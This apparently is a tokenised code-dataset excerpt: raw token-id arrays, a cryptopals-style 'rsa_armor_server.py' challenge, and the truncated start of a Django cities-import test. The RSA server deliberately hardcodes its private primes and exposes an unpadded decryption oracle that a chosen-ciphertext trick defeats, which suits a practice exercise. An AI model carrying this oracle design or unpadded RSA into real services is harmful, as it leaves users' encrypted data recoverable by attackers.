4879, 304, 278, 3935, 634, 929, 29889, 2642, 1213, 15945, 13, 4706, 736, 1583, 29889, 2371, 29918, 13, 268, 13, 1678, 732, 6799, 13, 1678, 822, 5447, 29898, 1311, 1125, 13, 4706, 9995, 8336, 310, 278, 17067, 29902, 6560, 1213, 15945, 13, 4706, 736, 1583, 29889, 15314, 29918, 8336, 13, 13, 1678, 732, 6799, 13, 1678, 822, 8656, 29898, 1311, 1125, 13, 4706, 9995, 29925, 7420, 1426, 1347, 310, 599, 1426, 2768, 278, 529, 726, 29958, 1543, 310, 278, 17067, 29902, 6560, 1213, 15945, 13, 4706, 736, 1583, 29889, 2371, 29889, 657, 29918, 726, 580, 13, 13, 1678, 732, 6799, 13, 1678, 822, 380, 1743, 600, 29879, 29898, 1311, 1125, 13, 4706, 9995, 1293, 310, 380, 1743, 600, 3161, 310, 278, 529, 726, 29958, 1543, 1701, 278, 17067, 29902, 6560, 29889, 25085, 526, 13310, 287, 297, 10809, 29899, 4102, 758, 2098, 1213, 15945, 13, 4706, 3161, 353, 6571, 13, 4706, 363, 2602, 29892, 1948, 29918, 1853, 29892, 560, 29892, 10809, 29892, 1426, 297, 1583, 29889, 2371, 29901, 13, 13, 9651, 565, 1948, 29918, 1853, 297, 6796, 3150, 613, 376, 6310, 3108, 29901, 13, 18884, 3161, 29961, 295, 29962, 353, 426, 13, 462, 1678, 376, 295, 1115, 560, 29892, 13, 462, 1678, 376, 463, 1115, 2602, 29892, 13, 462, 1678, 376, 355, 1115, 6213, 29892, 13, 462, 1678, 376, 19488, 1115, 10809, 13, 18884, 500, 13, 9651, 565, 1948, 29918, 1853, 297, 6796, 5358, 613, 376, 6310, 3108, 29901, 13, 18884, 3161, 29961, 295, 29962, 3366, 355, 3108, 353, 2602, 13, 632, 13, 4706, 736, 679, 29918, 2098, 29918, 1454, 29918, 3018, 874, 284, 29898, 1761, 29898, 17664, 29889, 5975, 22130, 13, 13, 1678, 732, 6799, 13, 1678, 822, 4390, 29898, 1311, 1125, 13, 4706, 9995, 7249, 1347, 310, 380, 1743, 600, 3161, 310, 278, 529, 726, 29958, 1543, 1701, 278, 17067, 29902, 6560, 29889, 25085, 526, 13310, 287, 297, 10809, 29899, 4102, 758, 2098, 1213, 15945, 13, 4706, 577, 29918, 294, 29918, 3126, 353, 5159, 13, 4706, 363, 380, 1743, 600, 297, 1583, 29889, 1689, 22450, 29901, 13, 9651, 577, 29918, 294, 29918, 3126, 29889, 4397, 3319, 13, 18884, 376, 4039, 1115, 380, 1743, 600, 3366, 295, 16862, 4039, 29892, 13, 18884, 376, 1131, 1091, 1115, 9657, 29898, 1689, 2696, 3366, 295, 16862, 1131, 1091, 511, 13, 18884, 376, 463, 1115, 938, 29898, 1689, 2696, 3366, 463, 3108, 511, 13, 18884, 376, 355, 1115, 938, 29898, 1689, 2696, 3366, 355, 3108, 511, 13, 18884, 376, 19488, 1115, 938, 29898, 1689, 2696, 3366, 19488, 3108, 511, 13, 9651, 5615, 13, 308, 13, 4706, 736, 4390, 29889, 29881, 17204, 29898, 578, 29918, 294, 29918, 3126, 29897, 13, 308, 13, 1678, 732, 6799, 13, 1678, 822, 784, 23384, 29918, 2371, 29898, 1311, 1125, 13, 4706, 9995, 3562, 411, 1426, 322, 3030, 310, 278, 529, 726, 29958, 1543, 310, 278, 734, 29875, 5447, 29889, 2178, 20447, 29914, 18237, 1426, 411, 278, 1021, 3030, 338, 8772, 1213, 15945, 13, 4706, 736, 1583, 29889, 2371, 29889, 27756, 580, 13, 13, 1678, 822, 679, 29918, 862, 1237, 29898, 1311, 29892, 3380, 29892, 1095, 29892, 10809, 29922, 8516, 1125, 13, 4706, 9995, 2577, 599, 3847, 3030, 29889, 13, 308, 13, 4706, 6273, 29901, 13, 4706, 3380, 313, 524, 17389, 6763, 2931, 2602, 2629, 278, 6560, 13, 4706, 1095, 313, 524, 17389, 17140, 2931, 2602, 2629, 278, 6560, 13, 4706, 10809, 313, 524, 17389, 10809, 310, 1857, 1543, 13, 13, 4706, 3639, 29901, 13, 9651, 11825, 313, 1761, 29897, 1192, 1051, 310, 3847, 3161, 10372, 491, 10809, 313, 11291, 342, 338, 1833, 467, 13, 4706, 9995, 13, 13, 4706, 3380, 29918, 13073, 353, 1583, 29889, 2371, 29889, 657, 29918, 4703, 29918, 271, 29918, 1066, 29898, 463, 29897, 13, 4706, 565, 10809, 338, 451, 6213, 29901, 13, 9651, 3380, 29918, 862, 1237, 353, 3380, 29918, 13073, 7503, 524, 29898, 19488, 4638, 13, 4706, 1683, 29901, 13, 9651, 3380, 29918, 862, 1237, 353, 3380, 29918, 13073, 13, 13, 4706, 1095, 29918, 13073, 353, 1583, 29889, 2371, 29889, 657, 29918, 4703, 29918, 271, 29918, 1066, 29898, 3317, 29898, 463, 29892, 1095, 29899, 29896, 876, 13, 4706, 565, 10809, 338, 451, 6213, 29901, 13, 9651, 1095, 29918, 862, 1237, 353, 1095, 29918, 13073, 7503, 524, 29898, 19488, 4638, 13, 4706, 1683, 29901, 13, 9651, 1095, 29918, 862, 1237, 353, 1095, 29918, 13073, 13, 13, 4706, 565, 7431, 29898, 463, 29918, 862, 1237, 29897, 1405, 7431, 29898, 355, 29918, 862, 1237, 1125, 13, 9651, 11825, 353, 1095, 29918, 862, 1237, 13, 4706, 25342, 7431, 29898, 463, 29918, 862, 1237, 29897, 529, 7431, 29898, 355, 29918, 862, 1237, 1125, 13, 9651, 11825, 353, 3380, 29918, 862, 1237, 13, 4706, 1683, 29901, 13, 9651, 11825, 353, 3380, 29918, 862, 1237, 13, 13, 4706, 565, 3380, 29918, 862, 1237, 2804, 1095, 29918, 862, 1237, 29901, 13, 9651, 12020, 7865, 2392, 703, 1217, 5412, 3030, 1476, 1159, 13, 13, 4706, 736, 11825, 13, 13, 1678, 822, 679, 29918, 11991, 29898, 1311, 29892, 3380, 29892, 1095, 29892, 10809, 1125, 13, 4706, 9995, 2577, 599, 4344, 3030, 29889, 13, 308, 13, 4706, 6273, 29901, 13, 4706, 3380, 313, 524, 17389, 6763, 2931, 2602, 2629, 278, 6560, 13, 4706, 1095, 313, 524, 17389, 17140, 2931, 2602, 2629, 278, 6560, 13, 4706, 10809, 313, 524, 17389, 10809, 310, 1857, 1543, 13, 13, 4706, 3639, 29901, 13, 9651, 4344, 313, 1761, 29897, 1192, 1051, 310, 4344, 3161, 10372, 491, 10809, 313, 11291, 342, 338, 937, 467, 13, 4706, 9995, 13, 4706, 3380, 29918, 13073, 353, 1583, 29889, 2371, 29889, 657, 29918, 4703, 29918, 271, 29918, 1066, 29898, 463, 29897, 13, 13, 4706, 565, 10809, 338, 6213, 29901, 13, 9651, 10809, 353, 7431, 29898, 463, 29918, 13073, 29897, 13, 13, 4706, 4344, 353, 731, 29898, 463, 29918, 13073, 29961, 524, 29898, 19488, 1125, 2314, 13, 308, 13, 4706, 565, 451, 313, 1311, 29889, 2371, 29889, 2176, 29889, 3283, 1360, 463, 467, 1384, 7295, 13, 9651, 396, 3380, 451, 297, 1583, 29889, 2371, 29889, 2176, 29889, 3283, 13, 9651, 22780, 29918, 353, 1583, 29889, 2371, 29889, 2176, 29961, 9302, 29889, 1188, 936, 29918, 392, 29898, 13, 18884, 1583, 29889, 2371, 29889, 2176, 29889, 3283, 529, 3380, 29892, 13, 18884, 1583, 29889, 2371, 29889, 2176, 29889, 798, 29918, 1853, 1275, 376, 726, 29908, 13, 9651, 1723, 29962, 13, 13, 9651, 3380, 29918, 13140, 353, 22780, 5396, 309, 542, 14352, 29896, 1822, 978, 13, 13, 4706, 1683, 29901, 13, 9651, 3380, 29918, 13140, 353, 1583, 29889, 2371, 29889, 2176, 29961, 9302, 29889, 1188, 936, 29918, 392, 29898, 13, 18884, 1583, 29889, 2371, 29889, 2176, 29889, 3283, 1275, 3380, 29892, 13, 18884, 1583, 29889, 2371, 29889, 2176, 29889, 798, 29918, 1853, 1275, 376, 726, 29908, 13, 9651, 1723, 1822, 309, 542, 29961, 29900, 1822, 978, 13, 13, 4706, 4344, 353, 731, 580, 13, 4706, 7090, 353, 731, 580, 13, 4706, 274, 29918, 798, 29918, 1066, 353, 3380, 13, 4706, 274, 29918, 798, 29918, 13140, 353, 3380, 29918, 13140, 13, 4706, 1550, 274, 29918, 798, 29918, 1066, 5277, 1095, 322, 274, 29918, 798, 29918, 13140, 529, 1583, 29889, 2371, 29889, 2176, 29889, 2248, 29889, 9847, 29901, 13, 9651, 274, 29918, 798, 353, 1583, 29889, 2371, 29889, 2176, 29889, 2029, 29961, 29883, 29918, 798, 29918, 13140, 29962, 13, 9651, 274, 29918, 798, 29918, 1066, 353, 274, 29918, 798, 29889, 3283, 13, 13, 9651, 565, 274, 29918, 798, 29889, 798, 29918, 1853, 1275, 376, 3150, 1115, 13, 18884, 7090, 29889, 1202, 29898, 29883, 29918, 798, 29889, 295, 29897, 13, 9651, 565, 274, 29918, 798, 29889, 798, 29918, 1853, 1275, 376, 5358, 29908, 322, 274, 29918, 798, 29889, 295, 297, 7090, 29901, 13, 18884, 4344, 29889, 1202, 29898, 29883, 29918, 798, 29889, 295, 29897, 13, 9651, 274, 29918, 798, 29918, 13140, 4619, 29871, 29896, 13, 13, 4706, 736, 1051, 29898, 11991, 29897, 13, 308, 13, 1678, 822, 788, 29918, 1689, 2696, 29898, 1311, 29892, 3380, 29892, 1095, 29892, 4055, 29892, 1098, 1091, 1125, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 580, 13, 13, 1678, 822, 4770, 6506, 29918, 295, 29898, 1311, 29892, 2030, 29918, 295, 29892, 716, 29918, 295, 1125, 13, 13, 4706, 1473, 29918, 3560, 353, 2030, 29918, 295, 29889, 657, 3560, 580, 13, 13, 4706, 396, 322, 5191, 278, 1014, 8336, 13, 4706, 565, 1473, 29918, 3560, 338, 6213, 29901, 13, 9651, 716, 29918, 295, 29889, 18237, 353, 1583, 29889, 726, 29918, 295, 29889, 18237, 13, 9651, 1583, 29889, 726, 29918, 295, 353, 716, 29918, 295, 13, 4706, 1683, 29901, 13, 9651, 716, 29918, 295, 29889, 18237, 353, 2030, 29918, 295, 29889, 18237, 13, 9651, 1473, 29918, 3560, 29889, 6506, 29898, 13, 18884, 2030, 29918, 295, 29892, 13, 18884, 716, 29918, 295, 13, 9651, 1723, 13, 13, 1678, 822, 337, 3258, 29918, 1491, 8336, 29898, 1311, 29892, 3847, 1125, 13, 4706, 396, 6597, 760, 310, 278, 380, 1743, 600, 1591, 393, 4225, 304, 367, 337, 11600, 13, 4706, 396, 408, 634, 929, 13, 4706, 3847, 29918, 463, 29892, 3847, 29918, 355, 353, 1583, 29889, 2371, 29889, 2176, 29889, 2029, 29961, 1311, 29889, 2371, 29889, 2176, 29889, 295, 1275, 3847, 1822, 2248, 13, 4706, 304, 29918, 5504, 353, 1583, 29889, 2371, 29889, 2176, 29889, 309, 542, 29961, 3560, 29918, 463, 29901, 3560, 29918, 355, 29962, 13, 13, 4706, 396, 1286, 29892, 337, 3258, 278, 1014, 8336, 445, 1543, 338, 297, 13, 4706, 716, 29918, 3560, 29918, 295, 29892, 2030, 29918, 1379, 29906, 1482, 29918, 1379, 353, 380, 1743, 600, 29906, 8336, 29898, 517, 29918, 5504, 29897, 13, 308, 13, 4706, 363, 2030, 29918, 295, 29892, 716, 29918, 295, 297, 2030, 29918, 1379, 29906, 1482, 29918, 1379, 29889, 7076, 7295, 13, 9651, 1583, 29889, 2371, 29889, 842, 29918, 295, 29898, 1025, 29918, 295, 29892, 8853, 295, 1115, 716, 29918, 295, 1800, 13, 4706, 1583, 17255, 6506, 29918, 295, 29898, 13, 9651, 3847, 29892, 13, 9651, 716, 29918, 3560, 29918, 295, 13, 4706, 1723, 13, 13, 13, 1678, 822, 788, 29918, 14764, 29898, 1311, 29892, 3380, 29892, 1095, 29892, 4055, 29892, 10809, 29922, 8516, 29892, 1098, 1091, 29922, 8516, 29892, 4635, 29918, 2248, 29918, 271, 29918, 1066, 29922, 29900, 1125, 13, 4706, 9995, 2528, 263, 380, 1743, 600, 1543, 304, 278, 3829, 29889, 29871, 13, 4706, 450, 380, 1743, 600, 1543, 674, 367, 2715, 304, 278, 274, 14520, 322, 304, 278, 634, 929, 29889, 13, 308, 13, 4706, 6273, 29901, 13, 4706, 3380, 313, 524, 17389, 6763, 2931, 2602, 2629, 278, 6560, 13, 4706, 1095, 313, 524, 17389, 17140, 2931, 2602, 2629, 278, 6560, 13, 4706, 4055, 313, 710, 17389, 4055, 1024, 29892, 363, 1342, 525, 726, 29915, 363, 529, 726, 15513, 13, 4706, 10809, 313, 524, 17389, 10809, 988, 304, 788, 278, 1543, 29889, 960, 6213, 29892, 372, 674, 367, 2715, 6483, 342, 13, 4706, 1098, 1091, 313, 8977, 17389, 8600, 310, 4452, 393, 748, 964, 278, 1098, 1091, 310, 634, 929, 29889, 2642, 29889, 18514, 15084, 29892, 8393, 2629, 8282, 29889, 363, 1342, 8853, 13713, 4710, 23523, 9092, 674, 1121, 297, 529, 6156, 2303, 16881, 4613, 543, 23523, 1013, 29889, 13, 4706, 9995, 13, 13, 4706, 1098, 1091, 353, 1098, 1091, 565, 1098, 1091, 338, 451, 6213, 1683, 6571, 13, 308, 13, 4706, 396, 3824, 29892, 1653, 263, 716, 1543, 322, 679, 11825, 322, 4344, 13, 4706, 716, 29918, 295, 353, 1653, 29918, 295, 29918, 3166, 29918, 578, 29898, 4039, 29892, 1098, 1091, 29897, 13, 4706, 11825, 353, 1583, 29889, 657, 29918, 862, 1237, 29898, 463, 29892, 1095, 29892, 10809, 29897, 13, 13, 4706, 3847, 353, 11825, 14352, 29896, 29962, 13, 13, 4706, 396, 5012, 29925, 4690, 11415, 29871, 13, 4706, 396, 731, 1914, 10809, 322, 7910, 4344, 29915, 29879, 10809, 491, 697, 13, 4706, 716, 29918, 19488, 353, 10809, 565, 10809, 338, 451, 6213, 1683, 7431, 29898, 862, 1237, 29897, 13, 308, 13, 4706, 4344, 353, 1583, 29889, 657, 29918, 11991, 29898, 463, 29892, 1095, 29892, 716, 29918, 19488, 29897, 13, 259, 13, 4706, 363, 2278, 297, 4344, 29901, 13, 9651, 2278, 29918, 19488, 353, 1583, 29889, 2371, 29889, 2176, 29961, 1311, 29889, 2371, 29889, 2176, 29889, 295, 1360, 5145, 1822, 309, 542, 29961, 29900, 1822, 19488, 13, 9651, 1583, 29889, 2371, 29889, 842, 29918, 295, 29898, 5145, 29892, 8853, 19488, 1115, 5145, 29918, 19488, 29974, 29896, 29913, 1723, 13, 13, 4706, 565, 3380, 1275, 1095, 29901, 13, 9651, 1583, 29889, 2371, 29889, 7851, 29918, 6310, 29898, 463, 29892, 716, 29918, 295, 29892, 716, 29918, 19488, 29892, 4635, 29918, 2248, 29918, 271, 29918, 1066, 29922, 7851, 29918, 2248, 29918, 271, 29918, 1066, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 2371, 29889, 7851, 29918, 3150, 29898, 463, 29892, 716, 29918, 295, 29892, 716, 29918, 19488, 29897, 13, 9651, 1583, 29889, 2371, 29889, 7851, 29918, 5358, 29898, 355, 29892, 716, 29918, 295, 29892, 716, 29918, 19488, 29897, 13, 13, 4706, 1583, 29889, 276, 3258, 29918, 1491, 8336, 29898, 3560, 29897, 13, 13, 1678, 822, 3349, 29918, 14764, 29898, 1311, 29892, 628, 29918, 295, 1125, 13, 4706, 9995, 15941, 263, 380, 1743, 600, 1543, 515, 278, 3829, 29889, 29871, 13, 4706, 450, 380, 1743, 600, 1543, 674, 367, 6206, 515, 278, 274, 14520, 322, 515, 278, 634, 929, 29889, 13, 308, 13, 4706, 6273, 29901, 13, 4706, 628, 29918, 295, 313, 300, 929, 29889, 2642, 17389, 278, 1543, 393, 881, 367, 6206, 13, 13, 4706, 9995, 13, 4706, 560, 29918, 3150, 29918, 798, 353, 1583, 29889, 2371, 29889, 2176, 29961, 9302, 29889, 1188, 936, 29918, 392, 29898, 13, 9651, 1583, 29889, 2371, 29889, 2176, 29889, 295, 1275, 628, 29918, 295, 29892, 13, 9651, 1583, 29889, 2371, 29889, 2176, 29889, 798, 29918, 1853, 29889, 275, 262, 29898, 3366, 3150, 613, 376, 6310, 20068, 13, 4706, 1723, 1822, 309, 542, 29961, 29900, 29962, 13, 13, 4706, 560, 29918, 5358, 29918, 798, 353, 1583, 29889, 2371, 29889, 2176, 29961, 9302, 29889, 1188, 936, 29918, 392, 29898, 13, 9651, 1583, 29889, 2371, 29889, 2176, 29889, 295, 1275, 628, 29918, 295, 29892, 13, 9651, 1583, 29889, 2371, 29889, 2176, 29889, 798, 29918, 1853, 29889, 275, 262, 29898, 3366, 5358, 613, 376, 6310, 20068, 13, 4706, 1723, 1822, 309, 542, 29961, 29900, 29962, 13, 13, 4706, 3380, 353, 560, 29918, 3150, 29918, 798, 29889, 3283, 13, 4706, 1095, 353, 560, 29918, 5358, 29918, 798, 29889, 3283, 13, 4706, 10809, 353, 560, 29918, 3150, 29918, 798, 29889, 19488, 13, 13, 4706, 11825, 353, 1583, 29889, 657, 29918, 862, 1237, 29898, 463, 29892, 1095, 29892, 10809, 29897, 13, 13, 4706, 3847, 353, 11825, 14352, 29896, 29962, 13, 13, 4706, 4344, 353, 1583, 29889, 657, 29918, 11991, 29898, 463, 29892, 1095, 29892, 10809, 29897, 13, 308, 13, 4706, 396, 5012, 29925, 4690, 11415, 29871, 13, 4706, 396, 23806, 4344, 29915, 29879, 10809, 491, 697, 13, 4706, 363, 2278, 297, 4344, 29901, 13, 9651, 2278, 29918, 19488, 353, 1583, 29889, 2371, 29889, 2176, 29961, 1311, 29889, 2371, 29889, 2176, 29889, 295, 1360, 5145, 1822, 309, 542, 29961, 29900, 1822, 19488, 13, 9651, 1583, 29889, 2371, 29889, 842, 29918, 295, 29898, 5145, 29892, 8853, 19488, 1115, 5145, 29918, 19488, 29899, 29896, 29913, 1723, 13, 13, 4706, 1583, 29889, 2371, 29889, 5992, 29918, 295, 29898, 6144, 29918, 295, 29897, 13, 13, 4706, 1583, 29889, 276, 3258, 29918, 1491, 8336, 29898, 3560, 29897, 13, 308, 13, 13, 1678, 822, 788, 29918, 9653, 29898, 1311, 29892, 3380, 29892, 1095, 29892, 4055, 29892, 10809, 29892, 1098, 1091, 29892, 1178, 29918, 29922, 8516, 1125, 13, 4706, 9995, 2528, 263, 10638, 1543, 304, 278, 3829, 29889, 29871, 13, 4706, 6273, 29901, 13, 4706, 3380, 313, 524, 17389, 6763, 2931, 2602, 2629, 278, 6560, 13, 4706, 1095, 313, 524, 17389, 17140, 2931, 2602, 2629, 278, 6560, 13, 4706, 4055, 313, 710, 17389, 4055, 1024, 29892, 363, 1342, 525, 726, 29915, 363, 529, 726, 15513, 13, 4706, 10809, 313, 524, 17389, 10809, 988, 304, 788, 278, 1543, 29889, 960, 6213, 29892, 372, 674, 367, 2715, 6483, 342, 13, 4706, 9995, 13, 308, 13, 4706, 396, 1202, 10638, 1369, 13, 4706, 1098, 1091, 29918, 353, 8853, 9653, 1762, 1115, 333, 29918, 29913, 13, 4706, 565, 1098, 1091, 338, 451, 6213, 29901, 13, 9651, 1098, 1091, 5396, 5504, 29898, 1131, 1091, 29897, 13, 4706, 1098, 1091, 353, 1098, 1091, 29918, 13, 13, 4706, 1583, 29889, 1202, 29918, 14764, 29898, 13, 9651, 3380, 29922, 463, 29892, 13, 9651, 1095, 29922, 463, 29892, 13, 9651, 4055, 29922, 4039, 29892, 13, 9651, 10809, 29922, 19488, 29892, 13, 9651, 1098, 1091, 29922, 1131, 1091, 13, 9651, 1723, 13, 308, 13, 4706, 396, 1202, 17360, 13, 4706, 1583, 29889, 1202, 29918, 14764, 29898, 13, 9651, 3380, 29922, 355, 29892, 13, 9651, 1095, 29922, 355, 29892, 13, 9651, 4055, 543, 25367, 613, 13, 9651, 10809, 29922, 19488, 29892, 13, 9651, 1098, 1091, 3790, 29908, 333, 1115, 333, 29918, 29913, 13, 9651, 1723, 13, 2 ]
set6/rsa_armor_server.py
adbforlife/cryptopals
0
87899
import socketserver p = 160395692291066204645240408005144298841242575157198151582479019845006873142307723737409525577934583003867070345235918629558870788852486152796303523567822483427392340129717263353909278742561965233216587675350816948572600191273169123174304199384674395264435143907098890893980591211116522240382008471178421397097 q = 144799956026363047979890964986469975101633369127539021169134308602171349323647104390702474599961496296867914662653886331492134564389169848627375094262808387339093502385516065909663887016623263743830570614293152307127908082950343687335290563649768964288627146636762435817428033480856591023672572911375858265917 n = p * q e = 65537 lam = (p-1) * (q-1) d = pow(e, -1, lam) def enc(m): m = int.from_bytes(m, 'big') c = pow(m,e,n) return c.to_bytes(256, 'big') def dec(c): c = int.from_bytes(c, 'big') m = pow(c,d,n) return m.to_bytes(256, 'big') flag = b'flag{real_flag}' encrypted = enc(flag) print(encrypted) class MyTCPHandler(socketserver.StreamRequestHandler): def handle(self): inp = self.rfile.read(256) if inp == encrypted: self.wfile.write(b'BAD INPUT\n') else: self.wfile.write(dec(inp)) if __name__ == "__main__": HOST, PORT = "localhost", 9999 # Create the server, binding to localhost on port 9999 with socketserver.TCPServer((HOST, PORT), MyTCPHandler) as server: # Activate the server; this will keep running until you # interrupt the program with Ctrl-C server.serve_forever()
[ 1, 1053, 9909, 2974, 13, 29886, 353, 29871, 29896, 29953, 29900, 29941, 29929, 29945, 29953, 29929, 29906, 29906, 29929, 29896, 29900, 29953, 29953, 29906, 29900, 29946, 29953, 29946, 29945, 29906, 29946, 29900, 29946, 29900, 29947, 29900, 29900, 29945, 29896, 29946, 29946, 29906, 29929, 29947, 29947, 29946, 29896, 29906, 29946, 29906, 29945, 29955, 29945, 29896, 29945, 29955, 29896, 29929, 29947, 29896, 29945, 29896, 29945, 29947, 29906, 29946, 29955, 29929, 29900, 29896, 29929, 29947, 29946, 29945, 29900, 29900, 29953, 29947, 29955, 29941, 29896, 29946, 29906, 29941, 29900, 29955, 29955, 29906, 29941, 29955, 29941, 29955, 29946, 29900, 29929, 29945, 29906, 29945, 29945, 29955, 29955, 29929, 29941, 29946, 29945, 29947, 29941, 29900, 29900, 29941, 29947, 29953, 29955, 29900, 29955, 29900, 29941, 29946, 29945, 29906, 29941, 29945, 29929, 29896, 29947, 29953, 29906, 29929, 29945, 29945, 29947, 29947, 29955, 29900, 29955, 29947, 29947, 29947, 29945, 29906, 29946, 29947, 29953, 29896, 29945, 29906, 29955, 29929, 29953, 29941, 29900, 29941, 29945, 29906, 29941, 29945, 29953, 29955, 29947, 29906, 29906, 29946, 29947, 29941, 29946, 29906, 29955, 29941, 29929, 29906, 29941, 29946, 29900, 29896, 29906, 29929, 29955, 29896, 29955, 29906, 29953, 29941, 29941, 29945, 29941, 29929, 29900, 29929, 29906, 29955, 29947, 29955, 29946, 29906, 29945, 29953, 29896, 29929, 29953, 29945, 29906, 29941, 29941, 29906, 29896, 29953, 29945, 29947, 29955, 29953, 29955, 29945, 29941, 29945, 29900, 29947, 29896, 29953, 29929, 29946, 29947, 29945, 29955, 29906, 29953, 29900, 29900, 29896, 29929, 29896, 29906, 29955, 29941, 29896, 29953, 29929, 29896, 29906, 29941, 29896, 29955, 29946, 29941, 29900, 29946, 29896, 29929, 29929, 29941, 29947, 29946, 29953, 29955, 29946, 29941, 29929, 29945, 29906, 29953, 29946, 29946, 29941, 29945, 29896, 29946, 29941, 29929, 29900, 29955, 29900, 29929, 29947, 29947, 29929, 29900, 29947, 29929, 29941, 29929, 29947, 29900, 29945, 29929, 29896, 29906, 29896, 29896, 29896, 29896, 29953, 29945, 29906, 29906, 29906, 29946, 29900, 29941, 29947, 29906, 29900, 29900, 29947, 29946, 29955, 29896, 29896, 29955, 29947, 29946, 29906, 29896, 29941, 29929, 29955, 29900, 29929, 29955, 13, 29939, 353, 29871, 29896, 29946, 29946, 29955, 29929, 29929, 29929, 29945, 29953, 29900, 29906, 29953, 29941, 29953, 29941, 29900, 29946, 29955, 29929, 29955, 29929, 29947, 29929, 29900, 29929, 29953, 29946, 29929, 29947, 29953, 29946, 29953, 29929, 29929, 29955, 29945, 29896, 29900, 29896, 29953, 29941, 29941, 29941, 29953, 29929, 29896, 29906, 29955, 29945, 29941, 29929, 29900, 29906, 29896, 29896, 29953, 29929, 29896, 29941, 29946, 29941, 29900, 29947, 29953, 29900, 29906, 29896, 29955, 29896, 29941, 29946, 29929, 29941, 29906, 29941, 29953, 29946, 29955, 29896, 29900, 29946, 29941, 29929, 29900, 29955, 29900, 29906, 29946, 29955, 29946, 29945, 29929, 29929, 29929, 29953, 29896, 29946, 29929, 29953, 29906, 29929, 29953, 29947, 29953, 29955, 29929, 29896, 29946, 29953, 29953, 29906, 29953, 29945, 29941, 29947, 29947, 29953, 29941, 29941, 29896, 29946, 29929, 29906, 29896, 29941, 29946, 29945, 29953, 29946, 29941, 29947, 29929, 29896, 29953, 29929, 29947, 29946, 29947, 29953, 29906, 29955, 29941, 29955, 29945, 29900, 29929, 29946, 29906, 29953, 29906, 29947, 29900, 29947, 29941, 29947, 29955, 29941, 29941, 29929, 29900, 29929, 29941, 29945, 29900, 29906, 29941, 29947, 29945, 29945, 29896, 29953, 29900, 29953, 29945, 29929, 29900, 29929, 29953, 29953, 29941, 29947, 29947, 29955, 29900, 29896, 29953, 29953, 29906, 29941, 29906, 29953, 29941, 29955, 29946, 29941, 29947, 29941, 29900, 29945, 29955, 29900, 29953, 29896, 29946, 29906, 29929, 29941, 29896, 29945, 29906, 29941, 29900, 29955, 29896, 29906, 29955, 29929, 29900, 29947, 29900, 29947, 29906, 29929, 29945, 29900, 29941, 29946, 29941, 29953, 29947, 29955, 29941, 29941, 29945, 29906, 29929, 29900, 29945, 29953, 29941, 29953, 29946, 29929, 29955, 29953, 29947, 29929, 29953, 29946, 29906, 29947, 29947, 29953, 29906, 29955, 29896, 29946, 29953, 29953, 29941, 29953, 29955, 29953, 29906, 29946, 29941, 29945, 29947, 29896, 29955, 29946, 29906, 29947, 29900, 29941, 29941, 29946, 29947, 29900, 29947, 29945, 29953, 29945, 29929, 29896, 29900, 29906, 29941, 29953, 29955, 29906, 29945, 29955, 29906, 29929, 29896, 29896, 29941, 29955, 29945, 29947, 29945, 29947, 29906, 29953, 29945, 29929, 29896, 29955, 13, 29876, 353, 282, 334, 3855, 13, 29872, 353, 29871, 29953, 29945, 29945, 29941, 29955, 13, 5288, 353, 313, 29886, 29899, 29896, 29897, 334, 313, 29939, 29899, 29896, 29897, 13, 29881, 353, 4764, 29898, 29872, 29892, 448, 29896, 29892, 301, 314, 29897, 13, 13, 1753, 2094, 29898, 29885, 1125, 13, 1678, 286, 353, 938, 29889, 3166, 29918, 13193, 29898, 29885, 29892, 525, 3752, 1495, 13, 1678, 274, 353, 4764, 29898, 29885, 29892, 29872, 29892, 29876, 29897, 13, 1678, 736, 274, 29889, 517, 29918, 13193, 29898, 29906, 29945, 29953, 29892, 525, 3752, 1495, 13, 13, 1753, 1602, 29898, 29883, 1125, 13, 1678, 274, 353, 938, 29889, 3166, 29918, 13193, 29898, 29883, 29892, 525, 3752, 1495, 13, 1678, 286, 353, 4764, 29898, 29883, 29892, 29881, 29892, 29876, 29897, 13, 1678, 736, 286, 29889, 517, 29918, 13193, 29898, 29906, 29945, 29953, 29892, 525, 3752, 1495, 13, 13, 15581, 353, 289, 29915, 15581, 29912, 6370, 29918, 15581, 10162, 13, 3977, 14740, 353, 2094, 29898, 15581, 29897, 13, 2158, 29898, 3977, 14740, 29897, 13, 13, 1990, 1619, 29911, 6271, 4598, 29898, 11514, 2974, 29889, 3835, 3089, 4598, 1125, 13, 13, 1678, 822, 4386, 29898, 1311, 1125, 13, 4706, 297, 29886, 353, 1583, 29889, 29878, 1445, 29889, 949, 29898, 29906, 29945, 29953, 29897, 13, 4706, 565, 297, 29886, 1275, 23220, 29901, 13, 9651, 1583, 29889, 29893, 1445, 29889, 3539, 29898, 29890, 29915, 29933, 3035, 2672, 12336, 29905, 29876, 1495, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 29893, 1445, 29889, 3539, 29898, 7099, 29898, 262, 29886, 876, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 379, 3718, 29892, 349, 8476, 353, 376, 7640, 613, 29871, 29929, 29929, 29929, 29929, 13, 13, 1678, 396, 6204, 278, 1923, 29892, 9956, 304, 15683, 373, 2011, 29871, 29929, 29929, 29929, 29929, 13, 1678, 411, 9909, 2974, 29889, 29911, 6271, 6004, 3552, 20832, 29892, 349, 8476, 511, 1619, 29911, 6271, 4598, 29897, 408, 1923, 29901, 13, 4706, 396, 21775, 403, 278, 1923, 29936, 445, 674, 3013, 2734, 2745, 366, 13, 4706, 396, 23754, 278, 1824, 411, 315, 11742, 29899, 29907, 13, 4706, 1923, 29889, 16349, 29918, 1079, 369, 580, 13, 2 ]
cities_light/tests/test_import.py
jsandovalc/django-cities-light
0
6724
from __future__ import unicode_literals import glob import os from dbdiff.fixture import Fixture from .base import TestImportBase, FixtureDir from ..settings import DATA_DIR class TestImport(TestImportBase): """Load test.""" def test_single_city(self): """Load single city.""" fixture_dir = FixtureDir('import') self.import_data( fixture_dir, 'angouleme_country', 'angouleme_region', 'angouleme_subregion', 'angouleme_city', 'angouleme_translations' ) Fixture(fixture_dir.get_file_path('angouleme.json')).assertNoDiff() def test_single_city_zip(self): """Load single city.""" filelist = glob.glob(os.path.join(DATA_DIR, "angouleme_*.txt")) for f in filelist: os.remove(f) fixture_dir = FixtureDir('import_zip') self.import_data( fixture_dir, 'angouleme_country', 'angouleme_region', 'angouleme_subregion', 'angouleme_city', 'angouleme_translations', file_type="zip" ) Fixture(FixtureDir('import').get_file_path('angouleme.json')).assertNoDiff() def test_city_wrong_timezone(self): """Load single city with wrong 